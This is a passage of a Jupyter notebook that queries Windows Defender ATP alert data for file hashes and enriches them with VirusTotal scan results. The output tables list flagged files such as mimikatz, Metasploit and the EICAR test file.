id=\\\"8f4e7242-c01c-4193-a43e-5f188016c37f\\\"></div>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \":Scatter   [ComputerName]   (MaskedIP)\"\n      ]\n     },\n     \"execution_count\": 47,\n     \"metadata\": {\n      \"application/vnd.holoviews_exec.v0+json\": {\n       \"id\": \"1237\"\n      }\n     },\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# we can also render the same data in a Scatter plot\\n\",\n    \"\\n\",\n    \"%opts Scatter [width=800 height=800] (size=10)\\n\",\n    \"import holoviews as hv\\n\",\n    \"hv.extension('bokeh')\\n\",\n    \"hv.Scatter(df).options(show_grid=True)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Enriching results by calling 3rd party APIs: VirusTotal\\n\",\n    \"Now we'll do an example of combining WDATP data with information from other sources, in this case VirusTotal.  \\n\",\n    \"We'll do a search to find file hashes and see if VirusTotal has any information on them\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 20,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Number of hashes = 100\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"## query WDATP data for hashes of files recorded in alerts\\n\",\n    \"\\n\",\n    \"df_results = wdatp_api.query(query = '''\\n\",\n    \"AlertEvents \\n\",\n    \"| where EventTime > ago(7d) and SHA1 != ''\\n\",\n    \"| summarize by SHA1\\n\",\n    \"| take 100\\n\",\n    \"'''\\n\",\n    \")\\n\",\n    \"print(\\\"Number of hashes = %d\\\" % len(df_results))\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 21,\n   \"metadata\": {\n    \"scrolled\": false\n   },\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>md5</th>\\n\",\n       \"      <th>permalink</th>\\n\",\n       \"      <th>positives</th>\\n\",\n       \"      <th>resource</th>\\n\",\n       \"      <th>response_code</th>\\n\",\n       \"      <th>scan_date</th>\\n\",\n       \"      <th>scan_id</th>\\n\",\n       \"      <th>scans.ALYac.detected</th>\\n\",\n       \"      <th>scans.ALYac.result</th>\\n\",\n       \"      <th>scans.ALYac.update</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th>scans.eGambit.update</th>\\n\",\n       \"      <th>scans.eGambit.version</th>\\n\",\n       \"      <th>scans.nProtect.detected</th>\\n\",\n       \"      <th>scans.nProtect.result</th>\\n\",\n       \"      <th>scans.nProtect.update</th>\\n\",\n       \"      <th>scans.nProtect.version</th>\\n\",\n       \"      <th>sha1</th>\\n\",\n       \"      <th>sha256</th>\\n\",\n       \"      <th>total</th>\\n\",\n       \"      <th>verbose_msg</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>36</th>\\n\",\n       \"      <td>b5962945811f8d275a3a69334dbc81e8</td>\\n\",\n       \"      <td>https://www.virustotal.com/file/d81da8c83776c6...</td>\\n\",\n       \"      <td>47</td>\\n\",\n       \"      <td>d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2018-12-01 06:33:18</td>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"      <td>v4.3.5</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f</td>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"      <td>68</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>70</th>\\n\",\n       \"      <td>44d88612fea8a8f36de82e1278abb02f</td>\\n\",\n       \"      <td>https://www.virustotal.com/file/275a021bbfb648...</td>\\n\",\n       \"      <td>59</td>\\n\",\n       \"      <td>3395856ce81f2b7382dee72602f798b642f14140</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2018-12-04 00:11:33</td>\\n\",\n       \"      <td>275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>Misc.Eicar-Test-File</td>\\n\",\n       \"      <td>20181203</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>3395856ce81f2b7382dee72602f798b642f14140</td>\\n\",\n       \"      <td>275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...</td>\\n\",\n       \"      <td>61</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>87</th>\\n\",\n       \"      <td>e0354fa01f29dc47ab6d49956c49a128</td>\\n\",\n       \"      <td>https://www.virustotal.com/file/24abab4054bda1...</td>\\n\",\n       \"      <td>24</td>\\n\",\n       \"      <td>b40c04604bf3bbee92fd70beeaefabaa7e92206a</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2018-11-09 11:09:23</td>\\n\",\n       \"      <td>24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181109</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>b40c04604bf3bbee92fd70beeaefabaa7e92206a</td>\\n\",\n       \"      <td>24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...</td>\\n\",\n       \"      <td>66</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>88</th>\\n\",\n       \"      <td>9bd28300d67ff40e18a3bae80232eea1</td>\\n\",\n       \"      <td>https://www.virustotal.com/file/5e001d47b541c3...</td>\\n\",\n       \"      <td>30</td>\\n\",\n       \"      <td>bed5b5f463d0c9aee190c2d6490d8d33b9d1dd30</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2018-11-09 11:09:20</td>\\n\",\n       \"      <td>5e001d47b541c301b292f555554f060dc18cf19cc28bd3...</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>Trojan.GenericKD.30880848</td>\\n\",\n       \"      <td>20181109</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>bed5b5f463d0c9aee190c2d6490d8d33b9d1dd30</td>\\n\",\n       \"      <td>5e001d47b541c301b292f555554f060dc18cf19cc28bd3...</td>\\n\",\n       \"      <td>65</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>89</th>\\n\",\n       \"      <td>8651cb193fb0c9052cc4c39ecb849a90</td>\\n\",\n       \"      <td>https://www.virustotal.com/file/7d52a7a759179f...</td>\\n\",\n       \"      <td>48</td>\\n\",\n       \"      <td>5741705f5a37470c6880130d74822f805078af5e</td>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>2018-10-31 11:00:35</td>\\n\",\n       \"      <td>7d52a7a759179f2678458c190a30fe630d770ee8676815...</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181031</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>20181031</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>5741705f5a37470c6880130d74822f805078af5e</td>\\n\",\n       \"      <td>7d52a7a759179f2678458c190a30fe630d770ee8676815...</td>\\n\",\n       \"      <td>67</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"<p>5 rows Ã— 307 columns</p>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                 md5  \\\\\\n\",\n       \"36  b5962945811f8d275a3a69334dbc81e8   \\n\",\n       \"70  44d88612fea8a8f36de82e1278abb02f   \\n\",\n       \"87  e0354fa01f29dc47ab6d49956c49a128   \\n\",\n       \"88  9bd28300d67ff40e18a3bae80232eea1   \\n\",\n       \"89  8651cb193fb0c9052cc4c39ecb849a90   \\n\",\n       \"\\n\",\n       \"                                            permalink positives  \\\\\\n\",\n       \"36  https://www.virustotal.com/file/d81da8c83776c6...        47   \\n\",\n       \"70  https://www.virustotal.com/file/275a021bbfb648...        59   \\n\",\n       \"87  https://www.virustotal.com/file/24abab4054bda1...        24   \\n\",\n       \"88  https://www.virustotal.com/file/5e001d47b541c3...        30   \\n\",\n       \"89  https://www.virustotal.com/file/7d52a7a759179f...        48   \\n\",\n       \"\\n\",\n       \"                                    resource  response_code  \\\\\\n\",\n       \"36  d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f              1   \\n\",\n       \"70  3395856ce81f2b7382dee72602f798b642f14140              1   \\n\",\n       \"87  b40c04604bf3bbee92fd70beeaefabaa7e92206a              1   \\n\",\n       \"88  bed5b5f463d0c9aee190c2d6490d8d33b9d1dd30              1   \\n\",\n       \"89  5741705f5a37470c6880130d74822f805078af5e              1   \\n\",\n       \"\\n\",\n       \"              scan_date                                            scan_id  \\\\\\n\",\n       \"36  2018-12-01 06:33:18  d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...   \\n\",\n       \"70  2018-12-04 00:11:33  275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...   \\n\",\n       \"87  2018-11-09 11:09:23  24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...   \\n\",\n       \"88  2018-11-09 11:09:20  5e001d47b541c301b292f555554f060dc18cf19cc28bd3...   \\n\",\n       \"89  2018-10-31 11:00:35  7d52a7a759179f2678458c190a30fe630d770ee8676815...   \\n\",\n       \"\\n\",\n       \"   scans.ALYac.detected         scans.ALYac.result scans.ALYac.update  \\\\\\n\",\n       \"36                False                                      20181201   \\n\",\n       \"70                 True       Misc.Eicar-Test-File           20181203   \\n\",\n       \"87                False                                      20181109   \\n\",\n       \"88                 True  Trojan.GenericKD.30880848           20181109   \\n\",\n       \"89                False                                      20181031   \\n\",\n       \"\\n\",\n       \"                   ...                  scans.eGambit.update  \\\\\\n\",\n       \"36                 ...                              20181201   \\n\",\n       \"70                 ...                                         \\n\",\n       \"87                 ...                                         \\n\",\n       \"88                 ...                                         \\n\",\n       \"89                 ...                              20181031   \\n\",\n       \"\\n\",\n       \"   scans.eGambit.version scans.nProtect.detected scans.nProtect.result  \\\\\\n\",\n       \"36                v4.3.5                                                 \\n\",\n       \"70                                                                       \\n\",\n       \"87                                                                       \\n\",\n       \"88                                                                       \\n\",\n       \"89                                                                       \\n\",\n       \"\\n\",\n       \"   scans.nProtect.update scans.nProtect.version  \\\\\\n\",\n       \"36                                                \\n\",\n       \"70                                                \\n\",\n       \"87                                                \\n\",\n       \"88                                                \\n\",\n       \"89                                                \\n\",\n       \"\\n\",\n       \"                                        sha1  \\\\\\n\",\n       \"36  d40a48094c1f21fef892f27a8b6a7ed2bbf0c27f   \\n\",\n       \"70  3395856ce81f2b7382dee72602f798b642f14140   \\n\",\n       \"87  b40c04604bf3bbee92fd70beeaefabaa7e92206a   \\n\",\n       \"88  bed5b5f463d0c9aee190c2d6490d8d33b9d1dd30   \\n\",\n       \"89  5741705f5a37470c6880130d74822f805078af5e   \\n\",\n       \"\\n\",\n       \"                                               sha256 total  \\\\\\n\",\n       \"36  d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...    68   \\n\",\n       \"70  275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...    61   \\n\",\n       \"87  24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...    66   \\n\",\n       \"88  5e001d47b541c301b292f555554f060dc18cf19cc28bd3...    65   \\n\",\n       \"89  7d52a7a759179f2678458c190a30fe630d770ee8676815...    67   \\n\",\n       \"\\n\",\n       \"                            verbose_msg  \\n\",\n       \"36  Scan finished, information embedded  \\n\",\n       \"70  Scan finished, information embedded  \\n\",\n       \"87  Scan finished, information embedded  \\n\",\n       \"88  Scan finished, information embedded  \\n\",\n       \"89  Scan finished, information embedded  \\n\",\n       \"\\n\",\n       \"[5 rows x 307 columns]\"\n      ]\n     },\n     \"execution_count\": 21,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"## query VirusTotal to see if anyone has submitted them for scanning before. \\n\",\n    \"## List any results with at least one AV engine positive result\\n\",\n    \"\\n\",\n    \"vtdf = wdatp_api.vtresults(list(df_results.SHA1)).fillna('')\\n\",\n    \"vt_pos = vtdf.loc[vtdf['response_code'] == 1].loc[vtdf['positives'] != 0]\\n\",\n    \"vt_pos.head(5)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 22,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>@odata.context</th>\\n\",\n       \"      <th>fileProductName</th>\\n\",\n       \"      <th>filePublisher</th>\\n\",\n       \"      <th>fileType</th>\\n\",\n       \"      <th>globalFirstObserved</th>\\n\",\n       \"      <th>globalLastObserved</th>\\n\",\n       \"      <th>globalPrevalence</th>\\n\",\n       \"      <th>isPeFile</th>\\n\",\n       \"      <th>isValidCertificate</th>\\n\",\n       \"      <th>issuer</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th>scans.eGambit.result</th>\\n\",\n       \"      <th>scans.eGambit.update</th>\\n\",\n       \"      <th>scans.eGambit.version</th>\\n\",\n       \"      <th>scans.nProtect.detected</th>\\n\",\n       \"      <th>scans.nProtect.result</th>\\n\",\n       \"      <th>scans.nProtect.update</th>\\n\",\n       \"      <th>scans.nProtect.version</th>\\n\",\n       \"      <th>sha256_y</th>\\n\",\n       \"      <th>total</th>\\n\",\n       \"      <th>verbose_msg</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>mimikatz</td>\\n\",\n       \"      <td>gentilkiwi (Benjamin DELPY)</td>\\n\",\n       \"      <td>APP</td>\\n\",\n       \"      <td>2018-09-25T22:34:38.9566202Z</td>\\n\",\n       \"      <td>2018-12-03T16:10:22.1433986Z</td>\\n\",\n       \"      <td>4435</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>Certum Code Signing CA SHA2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>hacktool.mimikatz</td>\\n\",\n       \"      <td>20181201</td>\\n\",\n       \"      <td>v4.3.5</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>d81da8c83776c60df5cc533e5d54c780a413649cdcc65c...</td>\\n\",\n       \"      <td>68</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>Odysseus                                      ...</td>\\n\",\n       \"      <td>BeginFinite                                   ...</td>\\n\",\n       \"      <td>APP</td>\\n\",\n       \"      <td>2013-03-03T14:00:34.8213548Z</td>\\n\",\n       \"      <td>2018-12-03T16:57:29.3516922Z</td>\\n\",\n       \"      <td>1639527</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>INVALID:Microsoft</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2...</td>\\n\",\n       \"      <td>61</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2014-06-21T17:41:28.7487764Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>57045</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>24abab4054bda1b846b012f71dd0687b4fd4069afc5fda...</td>\\n\",\n       \"      <td>66</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2017-10-19T13:31:48.8066496Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>23325</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>5e001d47b541c301b292f555554f060dc18cf19cc28bd3...</td>\\n\",\n       \"      <td>65</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2014-04-12T18:31:37.1432546Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>34990</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181031</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>7d52a7a759179f2678458c190a30fe630d770ee8676815...</td>\\n\",\n       \"      <td>67</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>5</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2014-03-30T13:52:41.5376917Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>25119</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181005</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ee24d1d448fffea3983da1a51ff4b2a37426a5651b9d93...</td>\\n\",\n       \"      <td>67</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>6</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2013-12-13T00:22:58.2227398Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>63558</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20180927</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>775855f0fd33d1099fcab8f8119a2a64ca11dfa56a94b0...</td>\\n\",\n       \"      <td>68</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>7</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2014-11-05T09:31:08.2270885Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>59436</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G3</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181027</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>31108a00a2c2016b0fb4d0e39fb2dbdce141ce9accf9ca...</td>\\n\",\n       \"      <td>67</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>8</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2014-01-17T04:21:54.9439502Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>24775</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181006</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>c1b9473c3db907a81c0525a6eb6ddc83c73dd1ebb9686e...</td>\\n\",\n       \"      <td>67</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>9</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>PortableExecutable</td>\\n\",\n       \"      <td>2015-06-25T14:35:00.4102258Z</td>\\n\",\n       \"      <td>2018-12-03T16:49:45.0301875Z</td>\\n\",\n       \"      <td>53945</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>20181017</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>c3b6f81b25c7315d9a856dbc0ed1b129b2e0b39553fbd8...</td>\\n\",\n       \"      <td>60</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>10</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Unknown</td>\\n\",\n       \"      <td>2013-03-03T14:00:34.8213548Z</td>\\n\",\n       \"      <td>2018-12-03T16:45:05.6407522Z</td>\\n\",\n       \"      <td>63418</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - G2</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>a68478ce012a2692231b1e5d0069651315dc0692b9dae4...</td>\\n\",\n       \"      <td>57</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>11</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>Metasploit Framework</td>\\n\",\n       \"      <td>Rapid7 LLC</td>\\n\",\n       \"      <td>APP</td>\\n\",\n       \"      <td>2013-03-03T14:00:34.8213548Z</td>\\n\",\n       \"      <td>2018-12-03T16:45:05.6407522Z</td>\\n\",\n       \"      <td>72485</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G3</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>c2b666a3ef4c191b77b78c037656e50477b8ba3d35fd61...</td>\\n\",\n       \"      <td>56</td>\\n\",\n       \"      <td>Scan finished, information embedded</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>12</th>\\n\",\n       \"      <td>https://api.securitycenter.windows.com/api/$me...</td>\\n\",\n       \"      <td>MicrosoftÂ® WindowsÂ® Operating System</td>\\n\",\n       \"      <td>Microsoft Corporation</td>\\n\",\n       \"      <td>DLL</td>\\n\",\n       \"      <td>2013-03-03T14:00:34.8213548Z</td>\\n\",\n       \"      <td>2018-12-03T16:45:05.6407522Z</td>\\n\",\n       \"      <td>69287</td>\\n\",\n       \"      <td>False</td>\\n\",\n       \"      <td>True</td>\\n\",\n       \"      <td>GlobalSign CodeSigning CA - SHA256 - G3</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      